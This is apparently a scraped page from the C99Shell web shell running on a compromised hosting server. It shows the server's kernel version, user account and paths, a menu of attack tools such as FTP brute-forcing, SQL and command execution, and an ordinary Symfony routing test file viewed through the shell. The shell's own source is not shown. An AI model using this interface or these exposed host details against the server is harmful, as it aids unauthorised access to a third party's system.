!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php54/usr/share/pear/test/Routing/Symfony/Component/Routing/Tests/Generator/Dumper/   drwxr-xr-x
Free 292.49 GB of 429.69 GB (68.07%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     PhpGeneratorDumperTest.php (3.99 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Routing\Tests\Generator\Dumper;

use 
Symfony\Component\Routing\RouteCollection;
use 
Symfony\Component\Routing\Route;
use 
Symfony\Component\Routing\Generator\Dumper\PhpGeneratorDumper;
use 
Symfony\Component\Routing\RequestContext;

class 
PhpGeneratorDumperTest extends \PHPUnit_Framework_TestCase
{
    
/**
     * @var RouteCollection
     */
    
private $routeCollection;

    
/**
     * @var PhpGeneratorDumper
     */
    
private $generatorDumper;

    
/**
     * @var string
     */
    
private $testTmpFilepath;

    protected function 
setUp()
    {
        
parent::setUp();

        
$this->routeCollection = new RouteCollection();
        
$this->generatorDumper = new PhpGeneratorDumper($this->routeCollection);
        
$this->testTmpFilepath sys_get_temp_dir().DIRECTORY_SEPARATOR.'php_generator.php';
        @
unlink($this->testTmpFilepath);
    }

    protected function 
tearDown()
    {
        
parent::tearDown();

        @
unlink($this->testTmpFilepath);

        
$this->routeCollection null;
        
$this->generatorDumper null;
        
$this->testTmpFilepath null;
    }

    public function 
testDumpWithRoutes()
    {
        
$this->routeCollection->add('Test', new Route('/testing/{foo}'));
        
$this->routeCollection->add('Test2', new Route('/testing2'));

        
file_put_contents($this->testTmpFilepath$this->generatorDumper->dump());
        include (
$this->testTmpFilepath);

        
$projectUrlGenerator = new \ProjectUrlGenerator(new RequestContext('/app.php'));

        
$absoluteUrlWithParameter    $projectUrlGenerator->generate('Test', array('foo' => 'bar'), true);
        
$absoluteUrlWithoutParameter $projectUrlGenerator->generate('Test2', array(), true);
        
$relativeUrlWithParameter    $projectUrlGenerator->generate('Test', array('foo' => 'bar'), false);
        
$relativeUrlWithoutParameter $projectUrlGenerator->generate('Test2', array(), false);

        
$this->assertEquals($absoluteUrlWithParameter'http://localhost/app.php/testing/bar');
        
$this->assertEquals($absoluteUrlWithoutParameter'http://localhost/app.php/testing2');
        
$this->assertEquals($relativeUrlWithParameter'/app.php/testing/bar');
        
$this->assertEquals($relativeUrlWithoutParameter'/app.php/testing2');
    }

    
/**
     * @expectedException \InvalidArgumentException
     */
    
public function testDumpWithoutRoutes()
    {
        
file_put_contents($this->testTmpFilepath$this->generatorDumper->dump(array('class' => 'WithoutRoutesUrlGenerator')));
        include (
$this->testTmpFilepath);

        
$projectUrlGenerator = new \WithoutRoutesUrlGenerator(new RequestContext('/app.php'));

        
$projectUrlGenerator->generate('Test', array());
    }

    
/**
     * @expectedException \Symfony\Component\Routing\Exception\RouteNotFoundException
     */
    
public function testGenerateNonExistingRoute()
    {
        
$this->routeCollection->add('Test', new Route('/test'));

        
file_put_contents($this->testTmpFilepath$this->generatorDumper->dump(array('class' => 'NonExistingRoutesUrlGenerator')));
        include (
$this->testTmpFilepath);

        
$projectUrlGenerator = new \NonExistingRoutesUrlGenerator(new RequestContext());
        
$url $projectUrlGenerator->generate('NonExisting', array());
    }

    public function 
testDumpForRouteWithDefaults()
    {
        
$this->routeCollection->add('Test', new Route('/testing/{foo}', array('foo' => 'bar')));

        
file_put_contents($this->testTmpFilepath$this->generatorDumper->dump(array('class' => 'DefaultRoutesUrlGenerator')));
        include (
$this->testTmpFilepath);

        
$projectUrlGenerator = new \DefaultRoutesUrlGenerator(new RequestContext());
        
$url $projectUrlGenerator->generate('Test', array());

        
$this->assertEquals($url'/testing');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0042 ]--